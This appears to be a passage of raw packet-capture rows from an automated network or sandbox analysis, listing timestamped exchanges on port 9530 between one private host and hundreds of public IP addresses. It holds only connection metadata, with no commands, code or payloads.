May 16, 2024 16:38:48.979775906 CEST	55095	9530	192.168.2.23	123.190.199.86
May 16, 2024 16:38:48.979788065 CEST	55095	9530	192.168.2.23	96.204.100.176
May 16, 2024 16:38:48.979796886 CEST	55095	9530	192.168.2.23	185.174.151.37
May 16, 2024 16:38:48.984688044 CEST	9530	55095	148.22.98.252	192.168.2.23
May 16, 2024 16:38:48.984702110 CEST	9530	55095	114.239.57.125	192.168.2.23
May 16, 2024 16:38:48.984710932 CEST	9530	55095	23.64.104.44	192.168.2.23
May 16, 2024 16:38:48.984714985 CEST	9530	55095	213.34.171.152	192.168.2.23
May 16, 2024 16:38:48.984726906 CEST	9530	55095	199.150.80.126	192.168.2.23
May 16, 2024 16:38:48.984736919 CEST	9530	55095	85.190.161.13	192.168.2.23
May 16, 2024 16:38:48.984745026 CEST	55095	9530	192.168.2.23	148.22.98.252
May 16, 2024 16:38:48.984749079 CEST	9530	55095	201.252.5.21	192.168.2.23
May 16, 2024 16:38:48.984749079 CEST	55095	9530	192.168.2.23	23.64.104.44
May 16, 2024 16:38:48.984755039 CEST	55095	9530	192.168.2.23	114.239.57.125
May 16, 2024 16:38:48.984755993 CEST	55095	9530	192.168.2.23	213.34.171.152
May 16, 2024 16:38:48.984761000 CEST	9530	55095	212.203.153.220	192.168.2.23
May 16, 2024 16:38:48.984761953 CEST	55095	9530	192.168.2.23	199.150.80.126
May 16, 2024 16:38:48.984766006 CEST	55095	9530	192.168.2.23	85.190.161.13
May 16, 2024 16:38:48.984775066 CEST	9530	55095	206.35.119.112	192.168.2.23
May 16, 2024 16:38:48.984790087 CEST	9530	55095	36.173.57.231	192.168.2.23
May 16, 2024 16:38:48.984792948 CEST	55095	9530	192.168.2.23	201.252.5.21
May 16, 2024 16:38:48.984792948 CEST	55095	9530	192.168.2.23	212.203.153.220
May 16, 2024 16:38:48.984798908 CEST	9530	55095	110.206.94.101	192.168.2.23
May 16, 2024 16:38:48.984810114 CEST	9530	55095	108.114.229.163	192.168.2.23
May 16, 2024 16:38:48.984819889 CEST	9530	55095	110.89.53.199	192.168.2.23
May 16, 2024 16:38:48.984823942 CEST	55095	9530	192.168.2.23	206.35.119.112
May 16, 2024 16:38:48.984829903 CEST	9530	55095	69.62.142.243	192.168.2.23
May 16, 2024 16:38:48.984841108 CEST	9530	55095	69.27.152.224	192.168.2.23
May 16, 2024 16:38:48.984852076 CEST	9530	55095	180.42.119.167	192.168.2.23
May 16, 2024 16:38:48.984863043 CEST	9530	55095	216.114.211.10	192.168.2.23
May 16, 2024 16:38:48.984863043 CEST	55095	9530	192.168.2.23	36.173.57.231
May 16, 2024 16:38:48.984863997 CEST	55095	9530	192.168.2.23	110.206.94.101
May 16, 2024 16:38:48.984867096 CEST	55095	9530	192.168.2.23	110.89.53.199
May 16, 2024 16:38:48.984867096 CEST	55095	9530	192.168.2.23	108.114.229.163
May 16, 2024 16:38:48.984874010 CEST	9530	55095	152.78.192.83	192.168.2.23
May 16, 2024 16:38:48.984884024 CEST	9530	55095	63.28.219.127	192.168.2.23
May 16, 2024 16:38:48.984888077 CEST	55095	9530	192.168.2.23	69.62.142.243
May 16, 2024 16:38:48.984888077 CEST	55095	9530	192.168.2.23	69.27.152.224
May 16, 2024 16:38:48.984888077 CEST	55095	9530	192.168.2.23	180.42.119.167
May 16, 2024 16:38:48.984893084 CEST	55095	9530	192.168.2.23	216.114.211.10
May 16, 2024 16:38:48.984894991 CEST	9530	55095	135.32.190.138	192.168.2.23
May 16, 2024 16:38:48.984901905 CEST	55095	9530	192.168.2.23	152.78.192.83
May 16, 2024 16:38:48.984905005 CEST	9530	55095	32.164.158.61	192.168.2.23
May 16, 2024 16:38:48.984916925 CEST	9530	55095	143.26.132.232	192.168.2.23
May 16, 2024 16:38:48.984926939 CEST	9530	55095	37.112.43.113	192.168.2.23
May 16, 2024 16:38:48.984936953 CEST	9530	55095	190.156.130.237	192.168.2.23
May 16, 2024 16:38:48.984942913 CEST	55095	9530	192.168.2.23	32.164.158.61
May 16, 2024 16:38:48.984945059 CEST	9530	55095	51.101.118.202	192.168.2.23
May 16, 2024 16:38:48.984946966 CEST	55095	9530	192.168.2.23	143.26.132.232
May 16, 2024 16:38:48.984956026 CEST	55095	9530	192.168.2.23	63.28.219.127
May 16, 2024 16:38:48.984956026 CEST	55095	9530	192.168.2.23	135.32.190.138
May 16, 2024 16:38:48.984956980 CEST	9530	55095	198.45.4.230	192.168.2.23
May 16, 2024 16:38:48.984966040 CEST	9530	55095	75.8.251.31	192.168.2.23
May 16, 2024 16:38:48.984976053 CEST	9530	55095	17.245.219.113	192.168.2.23
May 16, 2024 16:38:48.984987020 CEST	9530	55095	158.106.253.107	192.168.2.23
May 16, 2024 16:38:48.984998941 CEST	9530	55095	124.203.94.52	192.168.2.23
May 16, 2024 16:38:48.985002041 CEST	55095	9530	192.168.2.23	75.8.251.31
May 16, 2024 16:38:48.985002041 CEST	55095	9530	192.168.2.23	198.45.4.230
May 16, 2024 16:38:48.985002995 CEST	9530	55095	149.91.52.254	192.168.2.23
May 16, 2024 16:38:48.985006094 CEST	55095	9530	192.168.2.23	37.112.43.113
May 16, 2024 16:38:48.985006094 CEST	55095	9530	192.168.2.23	190.156.130.237
May 16, 2024 16:38:48.985006094 CEST	55095	9530	192.168.2.23	51.101.118.202
May 16, 2024 16:38:48.985013008 CEST	9530	55095	103.78.174.163	192.168.2.23
May 16, 2024 16:38:48.985013962 CEST	55095	9530	192.168.2.23	17.245.219.113
May 16, 2024 16:38:48.985024929 CEST	9530	55095	82.210.200.132	192.168.2.23
May 16, 2024 16:38:48.985025883 CEST	55095	9530	192.168.2.23	124.203.94.52
May 16, 2024 16:38:48.985032082 CEST	55095	9530	192.168.2.23	158.106.253.107
May 16, 2024 16:38:48.985034943 CEST	9530	55095	151.9.49.233	192.168.2.23
May 16, 2024 16:38:48.985045910 CEST	9530	55095	102.24.237.194	192.168.2.23
May 16, 2024 16:38:48.985053062 CEST	55095	9530	192.168.2.23	103.78.174.163
May 16, 2024 16:38:48.985055923 CEST	55095	9530	192.168.2.23	82.210.200.132
May 16, 2024 16:38:48.985057116 CEST	55095	9530	192.168.2.23	149.91.52.254
May 16, 2024 16:38:48.985055923 CEST	9530	55095	164.172.36.34	192.168.2.23
May 16, 2024 16:38:48.985057116 CEST	55095	9530	192.168.2.23	151.9.49.233
May 16, 2024 16:38:48.985069036 CEST	9530	55095	90.31.229.182	192.168.2.23
May 16, 2024 16:38:48.985074997 CEST	55095	9530	192.168.2.23	102.24.237.194
May 16, 2024 16:38:48.985080004 CEST	9530	55095	79.200.33.128	192.168.2.23
May 16, 2024 16:38:48.985083103 CEST	55095	9530	192.168.2.23	164.172.36.34
May 16, 2024 16:38:48.985094070 CEST	55095	9530	192.168.2.23	90.31.229.182
May 16, 2024 16:38:48.985097885 CEST	9530	55095	155.228.48.223	192.168.2.23
May 16, 2024 16:38:48.985109091 CEST	55095	9530	192.168.2.23	79.200.33.128
May 16, 2024 16:38:48.985110044 CEST	9530	55095	190.14.247.87	192.168.2.23
May 16, 2024 16:38:48.985121012 CEST	9530	55095	123.215.129.169	192.168.2.23
May 16, 2024 16:38:48.985133886 CEST	55095	9530	192.168.2.23	155.228.48.223
May 16, 2024 16:38:48.985169888 CEST	55095	9530	192.168.2.23	190.14.247.87
May 16, 2024 16:38:48.985169888 CEST	55095	9530	192.168.2.23	123.215.129.169
May 16, 2024 16:38:48.989739895 CEST	9530	55095	73.172.44.229	192.168.2.23
May 16, 2024 16:38:48.989752054 CEST	9530	55095	105.245.125.15	192.168.2.23
May 16, 2024 16:38:48.989762068 CEST	9530	55095	162.49.79.244	192.168.2.23
May 16, 2024 16:38:48.989770889 CEST	9530	55095	143.40.179.246	192.168.2.23
May 16, 2024 16:38:48.989779949 CEST	9530	55095	99.174.142.22	192.168.2.23
May 16, 2024 16:38:48.989788055 CEST	9530	55095	124.192.246.64	192.168.2.23
May 16, 2024 16:38:48.989797115 CEST	9530	55095	120.103.103.161	192.168.2.23
May 16, 2024 16:38:48.989809036 CEST	9530	55095	192.37.181.198	192.168.2.23
May 16, 2024 16:38:48.989813089 CEST	9530	55095	48.114.226.76	192.168.2.23
May 16, 2024 16:38:48.989820004 CEST	55095	9530	192.168.2.23	105.245.125.15
May 16, 2024 16:38:48.989820957 CEST	9530	55095	155.184.241.216	192.168.2.23
May 16, 2024 16:38:48.989820957 CEST	55095	9530	192.168.2.23	73.172.44.229
May 16, 2024 16:38:48.989825010 CEST	55095	9530	192.168.2.23	162.49.79.244
May 16, 2024 16:38:48.989825010 CEST	55095	9530	192.168.2.23	143.40.179.246
May 16, 2024 16:38:48.989830971 CEST	9530	55095	201.47.148.60	192.168.2.23
May 16, 2024 16:38:48.989835978 CEST	55095	9530	192.168.2.23	99.174.142.22
May 16, 2024 16:38:48.989835978 CEST	55095	9530	192.168.2.23	124.192.246.64
May 16, 2024 16:38:48.989845991 CEST	9530	55095	164.117.140.66	192.168.2.23
May 16, 2024 16:38:48.989845991 CEST	55095	9530	192.168.2.23	192.37.181.198
May 16, 2024 16:38:48.989849091 CEST	55095	9530	192.168.2.23	48.114.226.76
May 16, 2024 16:38:48.989850044 CEST	55095	9530	192.168.2.23	155.184.241.216
May 16, 2024 16:38:48.989855051 CEST	9530	55095	126.172.213.109	192.168.2.23
May 16, 2024 16:38:48.989869118 CEST	9530	55095	60.100.229.239	192.168.2.23
May 16, 2024 16:38:48.989873886 CEST	55095	9530	192.168.2.23	120.103.103.161
May 16, 2024 16:38:48.989877939 CEST	9530	55095	67.251.195.50	192.168.2.23
May 16, 2024 16:38:48.989887953 CEST	9530	55095	209.255.6.246	192.168.2.23
May 16, 2024 16:38:48.989888906 CEST	55095	9530	192.168.2.23	201.47.148.60
May 16, 2024 16:38:48.989896059 CEST	9530	55095	166.252.29.221	192.168.2.23
May 16, 2024 16:38:48.989897966 CEST	55095	9530	192.168.2.23	164.117.140.66
May 16, 2024 16:38:48.989897966 CEST	55095	9530	192.168.2.23	126.172.213.109
May 16, 2024 16:38:48.989897966 CEST	55095	9530	192.168.2.23	60.100.229.239
May 16, 2024 16:38:48.989901066 CEST	9530	55095	73.142.63.209	192.168.2.23
May 16, 2024 16:38:48.989906073 CEST	9530	55095	63.44.39.253	192.168.2.23
May 16, 2024 16:38:48.989908934 CEST	9530	55095	102.91.77.146	192.168.2.23
May 16, 2024 16:38:48.989912987 CEST	9530	55095	151.240.164.144	192.168.2.23
May 16, 2024 16:38:48.989917040 CEST	9530	55095	19.143.121.200	192.168.2.23
May 16, 2024 16:38:48.989921093 CEST	9530	55095	134.129.25.95	192.168.2.23
May 16, 2024 16:38:48.989926100 CEST	9530	55095	194.67.0.102	192.168.2.23
May 16, 2024 16:38:48.989929914 CEST	9530	55095	202.227.22.237	192.168.2.23
May 16, 2024 16:38:48.989933014 CEST	9530	55095	169.183.230.53	192.168.2.23
May 16, 2024 16:38:48.989937067 CEST	9530	55095	13.10.22.122	192.168.2.23
May 16, 2024 16:38:48.989938021 CEST	55095	9530	192.168.2.23	67.251.195.50
May 16, 2024 16:38:48.989944935 CEST	9530	55095	106.151.230.251	192.168.2.23
May 16, 2024 16:38:48.989948988 CEST	9530	55095	129.241.187.111	192.168.2.23
May 16, 2024 16:38:48.989959955 CEST	9530	55095	86.39.241.32	192.168.2.23
May 16, 2024 16:38:48.989972115 CEST	55095	9530	192.168.2.23	73.142.63.209
May 16, 2024 16:38:48.989973068 CEST	9530	55095	213.163.190.54	192.168.2.23
May 16, 2024 16:38:48.989981890 CEST	9530	55095	82.103.81.82	192.168.2.23
May 16, 2024 16:38:48.989989996 CEST	9530	55095	91.171.18.65	192.168.2.23
May 16, 2024 16:38:48.989991903 CEST	55095	9530	192.168.2.23	209.255.6.246
May 16, 2024 16:38:48.989991903 CEST	55095	9530	192.168.2.23	166.252.29.221
May 16, 2024 16:38:48.989999056 CEST	9530	55095	101.77.62.157	192.168.2.23
May 16, 2024 16:38:48.990003109 CEST	55095	9530	192.168.2.23	13.10.22.122
May 16, 2024 16:38:48.990008116 CEST	9530	55095	45.158.114.153	192.168.2.23
May 16, 2024 16:38:48.990010023 CEST	55095	9530	192.168.2.23	169.183.230.53
May 16, 2024 16:38:48.990010023 CEST	55095	9530	192.168.2.23	129.241.187.111
May 16, 2024 16:38:48.990011930 CEST	55095	9530	192.168.2.23	151.240.164.144
May 16, 2024 16:38:48.990011930 CEST	55095	9530	192.168.2.23	202.227.22.237
May 16, 2024 16:38:48.990012884 CEST	55095	9530	192.168.2.23	19.143.121.200
May 16, 2024 16:38:48.990012884 CEST	55095	9530	192.168.2.23	63.44.39.253
May 16, 2024 16:38:48.990012884 CEST	55095	9530	192.168.2.23	102.91.77.146
May 16, 2024 16:38:48.990012884 CEST	55095	9530	192.168.2.23	134.129.25.95
May 16, 2024 16:38:48.990016937 CEST	55095	9530	192.168.2.23	194.67.0.102
May 16, 2024 16:38:48.990016937 CEST	55095	9530	192.168.2.23	213.163.190.54
May 16, 2024 16:38:48.990017891 CEST	55095	9530	192.168.2.23	106.151.230.251
May 16, 2024 16:38:48.990017891 CEST	9530	55095	177.171.20.165	192.168.2.23
May 16, 2024 16:38:48.990027905 CEST	9530	55095	92.228.57.122	192.168.2.23
May 16, 2024 16:38:48.990037918 CEST	9530	55095	180.30.211.239	192.168.2.23
May 16, 2024 16:38:48.990039110 CEST	55095	9530	192.168.2.23	91.171.18.65
May 16, 2024 16:38:48.990039110 CEST	55095	9530	192.168.2.23	101.77.62.157
May 16, 2024 16:38:48.990041018 CEST	55095	9530	192.168.2.23	86.39.241.32
May 16, 2024 16:38:48.990041018 CEST	55095	9530	192.168.2.23	82.103.81.82
May 16, 2024 16:38:48.990042925 CEST	55095	9530	192.168.2.23	177.171.20.165
May 16, 2024 16:38:48.990046024 CEST	9530	55095	104.162.30.152	192.168.2.23
May 16, 2024 16:38:48.990052938 CEST	55095	9530	192.168.2.23	92.228.57.122
May 16, 2024 16:38:48.990056992 CEST	9530	55095	168.134.90.91	192.168.2.23
May 16, 2024 16:38:48.990056992 CEST	55095	9530	192.168.2.23	45.158.114.153
May 16, 2024 16:38:48.990066051 CEST	55095	9530	192.168.2.23	180.30.211.239
May 16, 2024 16:38:48.990067959 CEST	9530	55095	218.3.92.0	192.168.2.23
May 16, 2024 16:38:48.990102053 CEST	55095	9530	192.168.2.23	104.162.30.152
May 16, 2024 16:38:48.990117073 CEST	55095	9530	192.168.2.23	218.3.92.0
May 16, 2024 16:38:48.990159988 CEST	55095	9530	192.168.2.23	168.134.90.91
May 16, 2024 16:38:48.994096994 CEST	9530	55095	157.142.39.101	192.168.2.23
May 16, 2024 16:38:48.994113922 CEST	9530	55095	122.45.66.29	192.168.2.23
May 16, 2024 16:38:48.994122982 CEST	9530	55095	58.234.153.130	192.168.2.23
May 16, 2024 16:38:48.994131088 CEST	9530	55095	36.131.119.44	192.168.2.23
May 16, 2024 16:38:48.994136095 CEST	55095	9530	192.168.2.23	122.45.66.29
May 16, 2024 16:38:48.994139910 CEST	9530	55095	90.59.188.14	192.168.2.23
May 16, 2024 16:38:48.994148970 CEST	9530	55095	80.214.100.248	192.168.2.23
May 16, 2024 16:38:48.994158983 CEST	9530	55095	141.13.3.147	192.168.2.23
May 16, 2024 16:38:48.994164944 CEST	55095	9530	192.168.2.23	90.59.188.14
May 16, 2024 16:38:48.994168043 CEST	9530	55095	96.160.178.11	192.168.2.23
May 16, 2024 16:38:48.994175911 CEST	55095	9530	192.168.2.23	157.142.39.101
May 16, 2024 16:38:48.994175911 CEST	55095	9530	192.168.2.23	58.234.153.130
May 16, 2024 16:38:48.994177103 CEST	55095	9530	192.168.2.23	36.131.119.44
May 16, 2024 16:38:48.994177103 CEST	9530	55095	167.205.178.93	192.168.2.23
May 16, 2024 16:38:48.994177103 CEST	55095	9530	192.168.2.23	80.214.100.248
May 16, 2024 16:38:48.994177103 CEST	55095	9530	192.168.2.23	141.13.3.147
May 16, 2024 16:38:48.994189024 CEST	9530	55095	207.20.166.130	192.168.2.23
May 16, 2024 16:38:48.994194031 CEST	55095	9530	192.168.2.23	96.160.178.11
May 16, 2024 16:38:48.994198084 CEST	9530	55095	14.24.53.250	192.168.2.23
May 16, 2024 16:38:48.994208097 CEST	9530	55095	96.117.155.232	192.168.2.23
May 16, 2024 16:38:48.994208097 CEST	55095	9530	192.168.2.23	167.205.178.93
May 16, 2024 16:38:48.994219065 CEST	9530	55095	200.204.237.77	192.168.2.23
May 16, 2024 16:38:48.994220018 CEST	55095	9530	192.168.2.23	207.20.166.130
May 16, 2024 16:38:48.994220018 CEST	55095	9530	192.168.2.23	14.24.53.250
May 16, 2024 16:38:48.994227886 CEST	9530	55095	140.93.248.156	192.168.2.23
May 16, 2024 16:38:48.994237900 CEST	9530	55095	128.244.116.26	192.168.2.23
May 16, 2024 16:38:48.994237900 CEST	55095	9530	192.168.2.23	200.204.237.77
May 16, 2024 16:38:48.994239092 CEST	55095	9530	192.168.2.23	96.117.155.232
May 16, 2024 16:38:48.994249105 CEST	9530	55095	72.183.118.33	192.168.2.23
May 16, 2024 16:38:48.994257927 CEST	9530	55095	174.252.130.192	192.168.2.23
May 16, 2024 16:38:48.994261026 CEST	55095	9530	192.168.2.23	140.93.248.156
May 16, 2024 16:38:48.994266033 CEST	9530	55095	140.150.89.15	192.168.2.23
May 16, 2024 16:38:48.994266033 CEST	55095	9530	192.168.2.23	128.244.116.26
May 16, 2024 16:38:48.994275093 CEST	9530	55095	179.105.147.100	192.168.2.23
May 16, 2024 16:38:48.994282961 CEST	9530	55095	176.139.165.233	192.168.2.23
May 16, 2024 16:38:48.994286060 CEST	55095	9530	192.168.2.23	174.252.130.192
May 16, 2024 16:38:48.994287014 CEST	55095	9530	192.168.2.23	72.183.118.33
May 16, 2024 16:38:48.994287014 CEST	55095	9530	192.168.2.23	140.150.89.15
May 16, 2024 16:38:48.994292974 CEST	9530	55095	119.228.176.106	192.168.2.23
May 16, 2024 16:38:48.994302034 CEST	9530	55095	169.102.21.131	192.168.2.23
May 16, 2024 16:38:48.994303942 CEST	55095	9530	192.168.2.23	179.105.147.100
May 16, 2024 16:38:48.994312048 CEST	9530	55095	139.168.98.116	192.168.2.23
May 16, 2024 16:38:48.994318008 CEST	55095	9530	192.168.2.23	176.139.165.233
May 16, 2024 16:38:48.994327068 CEST	9530	55095	99.88.172.69	192.168.2.23
May 16, 2024 16:38:48.994327068 CEST	55095	9530	192.168.2.23	169.102.21.131
May 16, 2024 16:38:48.994333982 CEST	55095	9530	192.168.2.23	119.228.176.106
May 16, 2024 16:38:48.994342089 CEST	9530	55095	210.186.203.227	192.168.2.23
May 16, 2024 16:38:48.994345903 CEST	55095	9530	192.168.2.23	139.168.98.116
May 16, 2024 16:38:48.994350910 CEST	9530	55095	171.61.238.207	192.168.2.23
May 16, 2024 16:38:48.994359970 CEST	9530	55095	53.203.235.251	192.168.2.23
May 16, 2024 16:38:48.994369030 CEST	9530	55095	205.74.155.141	192.168.2.23
May 16, 2024 16:38:48.994376898 CEST	55095	9530	192.168.2.23	99.88.172.69
May 16, 2024 16:38:48.994376898 CEST	55095	9530	192.168.2.23	210.186.203.227
May 16, 2024 16:38:48.994376898 CEST	55095	9530	192.168.2.23	171.61.238.207
May 16, 2024 16:38:48.994378090 CEST	9530	55095	77.22.202.77	192.168.2.23
May 16, 2024 16:38:48.994389057 CEST	9530	55095	120.67.169.84	192.168.2.23
May 16, 2024 16:38:48.994396925 CEST	9530	55095	125.38.218.145	192.168.2.23
May 16, 2024 16:38:48.994399071 CEST	55095	9530	192.168.2.23	205.74.155.141
May 16, 2024 16:38:48.994405985 CEST	9530	55095	223.214.144.42	192.168.2.23
May 16, 2024 16:38:48.994410992 CEST	55095	9530	192.168.2.23	53.203.235.251
May 16, 2024 16:38:48.994415045 CEST	9530	55095	67.182.167.101	192.168.2.23
May 16, 2024 16:38:48.994415045 CEST	55095	9530	192.168.2.23	77.22.202.77
May 16, 2024 16:38:48.994416952 CEST	55095	9530	192.168.2.23	120.67.169.84
May 16, 2024 16:38:48.994424105 CEST	9530	55095	54.20.32.20	192.168.2.23
May 16, 2024 16:38:48.994432926 CEST	9530	55095	108.32.194.231	192.168.2.23
May 16, 2024 16:38:48.994435072 CEST	55095	9530	192.168.2.23	125.38.218.145
May 16, 2024 16:38:48.994436026 CEST	55095	9530	192.168.2.23	223.214.144.42
May 16, 2024 16:38:48.994441986 CEST	9530	55095	67.11.197.226	192.168.2.23
May 16, 2024 16:38:48.994445086 CEST	55095	9530	192.168.2.23	67.182.167.101
May 16, 2024 16:38:48.994445086 CEST	55095	9530	192.168.2.23	54.20.32.20
May 16, 2024 16:38:48.994452000 CEST	9530	55095	187.123.231.236	192.168.2.23
May 16, 2024 16:38:48.994463921 CEST	9530	55095	23.16.231.174	192.168.2.23
May 16, 2024 16:38:48.994472980 CEST	9530	55095	105.58.244.60	192.168.2.23
May 16, 2024 16:38:48.994474888 CEST	55095	9530	192.168.2.23	67.11.197.226
May 16, 2024 16:38:48.994476080 CEST	55095	9530	192.168.2.23	187.123.231.236
May 16, 2024 16:38:48.994482994 CEST	9530	55095	203.232.75.7	192.168.2.23
May 16, 2024 16:38:48.994492054 CEST	9530	55095	193.34.97.112	192.168.2.23
May 16, 2024 16:38:48.994497061 CEST	55095	9530	192.168.2.23	23.16.231.174
May 16, 2024 16:38:48.994498968 CEST	55095	9530	192.168.2.23	105.58.244.60
May 16, 2024 16:38:48.994502068 CEST	55095	9530	192.168.2.23	108.32.194.231
May 16, 2024 16:38:48.994524956 CEST	55095	9530	192.168.2.23	193.34.97.112
May 16, 2024 16:38:48.994529009 CEST	55095	9530	192.168.2.23	203.232.75.7
May 16, 2024 16:38:48.998476982 CEST	9530	55095	101.57.13.20	192.168.2.23
May 16, 2024 16:38:48.998488903 CEST	9530	55095	4.56.90.201	192.168.2.23
May 16, 2024 16:38:48.998497009 CEST	9530	55095	184.3.94.156	192.168.2.23
May 16, 2024 16:38:48.998501062 CEST	9530	55095	2.182.25.132	192.168.2.23
May 16, 2024 16:38:48.998503923 CEST	9530	55095	213.100.160.200	192.168.2.23
May 16, 2024 16:38:48.998512030 CEST	9530	55095	103.162.6.186	192.168.2.23
May 16, 2024 16:38:48.998521090 CEST	55095	9530	192.168.2.23	101.57.13.20
May 16, 2024 16:38:48.998522043 CEST	9530	55095	156.5.92.51	192.168.2.23
May 16, 2024 16:38:48.998533010 CEST	9530	55095	110.40.43.22	192.168.2.23
May 16, 2024 16:38:48.998541117 CEST	9530	55095	69.42.76.106	192.168.2.23
May 16, 2024 16:38:48.998548985 CEST	55095	9530	192.168.2.23	213.100.160.200
May 16, 2024 16:38:48.998552084 CEST	55095	9530	192.168.2.23	184.3.94.156
May 16, 2024 16:38:48.998553991 CEST	9530	55095	87.57.162.201	192.168.2.23
May 16, 2024 16:38:48.998557091 CEST	55095	9530	192.168.2.23	2.182.25.132
May 16, 2024 16:38:48.998560905 CEST	55095	9530	192.168.2.23	4.56.90.201
May 16, 2024 16:38:48.998564005 CEST	9530	55095	194.119.80.41	192.168.2.23
May 16, 2024 16:38:48.998573065 CEST	55095	9530	192.168.2.23	103.162.6.186
May 16, 2024 16:38:48.998573065 CEST	9530	55095	90.6.123.240	192.168.2.23
May 16, 2024 16:38:48.998574972 CEST	55095	9530	192.168.2.23	156.5.92.51
May 16, 2024 16:38:48.998574972 CEST	55095	9530	192.168.2.23	110.40.43.22
May 16, 2024 16:38:48.998575926 CEST	55095	9530	192.168.2.23	69.42.76.106
May 16, 2024 16:38:48.998584032 CEST	9530	55095	124.45.205.60	192.168.2.23
May 16, 2024 16:38:48.998589039 CEST	55095	9530	192.168.2.23	87.57.162.201
May 16, 2024 16:38:48.998593092 CEST	9530	55095	149.71.203.190	192.168.2.23
May 16, 2024 16:38:48.998594046 CEST	55095	9530	192.168.2.23	194.119.80.41
May 16, 2024 16:38:48.998604059 CEST	9530	55095	50.151.168.235	192.168.2.23
May 16, 2024 16:38:48.998608112 CEST	9530	55095	218.123.21.89	192.168.2.23
May 16, 2024 16:38:48.998610973 CEST	9530	55095	222.188.32.254	192.168.2.23
May 16, 2024 16:38:48.998614073 CEST	9530	55095	73.231.235.135	192.168.2.23
May 16, 2024 16:38:48.998616934 CEST	55095	9530	192.168.2.23	90.6.123.240
May 16, 2024 16:38:48.998617887 CEST	9530	55095	85.51.58.46	192.168.2.23
May 16, 2024 16:38:48.998616934 CEST	55095	9530	192.168.2.23	124.45.205.60
May 16, 2024 16:38:48.998622894 CEST	9530	55095	83.162.187.63	192.168.2.23
May 16, 2024 16:38:48.998626947 CEST	9530	55095	92.72.65.214	192.168.2.23
May 16, 2024 16:38:48.998631001 CEST	9530	55095	122.51.250.101	192.168.2.23
May 16, 2024 16:38:48.998634100 CEST	9530	55095	150.121.61.3	192.168.2.23
May 16, 2024 16:38:48.998639107 CEST	9530	55095	109.176.179.119	192.168.2.23
May 16, 2024 16:38:48.998644114 CEST	9530	55095	128.71.145.216	192.168.2.23
May 16, 2024 16:38:48.998646975 CEST	9530	55095	1.155.19.223	192.168.2.23
May 16, 2024 16:38:48.998651028 CEST	9530	55095	141.16.132.62	192.168.2.23
May 16, 2024 16:38:48.998653889 CEST	9530	55095	58.157.66.220	192.168.2.23
May 16, 2024 16:38:48.998657942 CEST	9530	55095	4.237.151.50	192.168.2.23
May 16, 2024 16:38:48.998666048 CEST	9530	55095	66.230.175.77	192.168.2.23
May 16, 2024 16:38:48.998670101 CEST	9530	55095	185.29.238.81	192.168.2.23
May 16, 2024 16:38:48.998672962 CEST	9530	55095	147.249.251.198	192.168.2.23
May 16, 2024 16:38:48.998677015 CEST	9530	55095	53.133.170.233	192.168.2.23
May 16, 2024 16:38:48.998687029 CEST	9530	55095	106.246.32.28	192.168.2.23
May 16, 2024 16:38:48.998692036 CEST	55095	9530	192.168.2.23	149.71.203.190
May 16, 2024 16:38:48.998693943 CEST	55095	9530	192.168.2.23	50.151.168.235
May 16, 2024 16:38:48.998696089 CEST	9530	55095	42.177.29.23	192.168.2.23
May 16, 2024 16:38:48.998706102 CEST	9530	55095	161.230.241.168	192.168.2.23
May 16, 2024 16:38:48.998711109 CEST	55095	9530	192.168.2.23	92.72.65.214
May 16, 2024 16:38:48.998713970 CEST	55095	9530	192.168.2.23	218.123.21.89
May 16, 2024 16:38:48.998713970 CEST	55095	9530	192.168.2.23	222.188.32.254
May 16, 2024 16:38:48.998714924 CEST	9530	55095	193.63.17.228	192.168.2.23
May 16, 2024 16:38:48.998724937 CEST	9530	55095	50.85.163.255	192.168.2.23
May 16, 2024 16:38:48.998733044 CEST	9530	55095	219.129.231.251	192.168.2.23
May 16, 2024 16:38:48.998737097 CEST	9530	55095	82.222.134.215	192.168.2.23
May 16, 2024 16:38:48.998747110 CEST	9530	55095	121.210.88.107	192.168.2.23
May 16, 2024 16:38:48.998752117 CEST	55095	9530	192.168.2.23	150.121.61.3
May 16, 2024 16:38:48.998753071 CEST	55095	9530	192.168.2.23	122.51.250.101
May 16, 2024 16:38:48.998754025 CEST	55095	9530	192.168.2.23	73.231.235.135
May 16, 2024 16:38:48.998769999 CEST	55095	9530	192.168.2.23	147.249.251.198
May 16, 2024 16:38:48.998769999 CEST	55095	9530	192.168.2.23	1.155.19.223
May 16, 2024 16:38:48.998774052 CEST	55095	9530	192.168.2.23	53.133.170.233
May 16, 2024 16:38:48.998776913 CEST	55095	9530	192.168.2.23	82.222.134.215
May 16, 2024 16:38:48.998776913 CEST	55095	9530	192.168.2.23	141.16.132.62
May 16, 2024 16:38:48.998778105 CEST	55095	9530	192.168.2.23	66.230.175.77
May 16, 2024 16:38:48.998776913 CEST	55095	9530	192.168.2.23	58.157.66.220
May 16, 2024 16:38:48.998776913 CEST	55095	9530	192.168.2.23	4.237.151.50
May 16, 2024 16:38:48.998783112 CEST	55095	9530	192.168.2.23	50.85.163.255
May 16, 2024 16:38:48.998792887 CEST	55095	9530	192.168.2.23	106.246.32.28
May 16, 2024 16:38:48.998792887 CEST	55095	9530	192.168.2.23	128.71.145.216
May 16, 2024 16:38:48.998792887 CEST	55095	9530	192.168.2.23	42.177.29.23
May 16, 2024 16:38:48.998794079 CEST	55095	9530	192.168.2.23	109.176.179.119
May 16, 2024 16:38:48.998794079 CEST	55095	9530	192.168.2.23	185.29.238.81
May 16, 2024 16:38:48.998794079 CEST	55095	9530	192.168.2.23	193.63.17.228
May 16, 2024 16:38:48.998794079 CEST	55095	9530	192.168.2.23	85.51.58.46
May 16, 2024 16:38:48.998794079 CEST	55095	9530	192.168.2.23	219.129.231.251
May 16, 2024 16:38:48.998794079 CEST	55095	9530	192.168.2.23	83.162.187.63
May 16, 2024 16:38:48.998792887 CEST	55095	9530	192.168.2.23	121.210.88.107
May 16, 2024 16:38:48.998800039 CEST	55095	9530	192.168.2.23	161.230.241.168
May 16, 2024 16:38:49.002844095 CEST	9530	55095	198.2.36.23	192.168.2.23
May 16, 2024 16:38:49.002855062 CEST	9530	55095	163.83.223.244	192.168.2.23
May 16, 2024 16:38:49.002862930 CEST	9530	55095	101.49.170.37	192.168.2.23
May 16, 2024 16:38:49.002872944 CEST	9530	55095	19.248.245.196	192.168.2.23
May 16, 2024 16:38:49.002881050 CEST	9530	55095	54.201.175.178	192.168.2.23
May 16, 2024 16:38:49.002890110 CEST	55095	9530	192.168.2.23	198.2.36.23
May 16, 2024 16:38:49.002891064 CEST	9530	55095	27.135.29.14	192.168.2.23
May 16, 2024 16:38:49.002899885 CEST	55095	9530	192.168.2.23	163.83.223.244
May 16, 2024 16:38:49.002899885 CEST	55095	9530	192.168.2.23	19.248.245.196
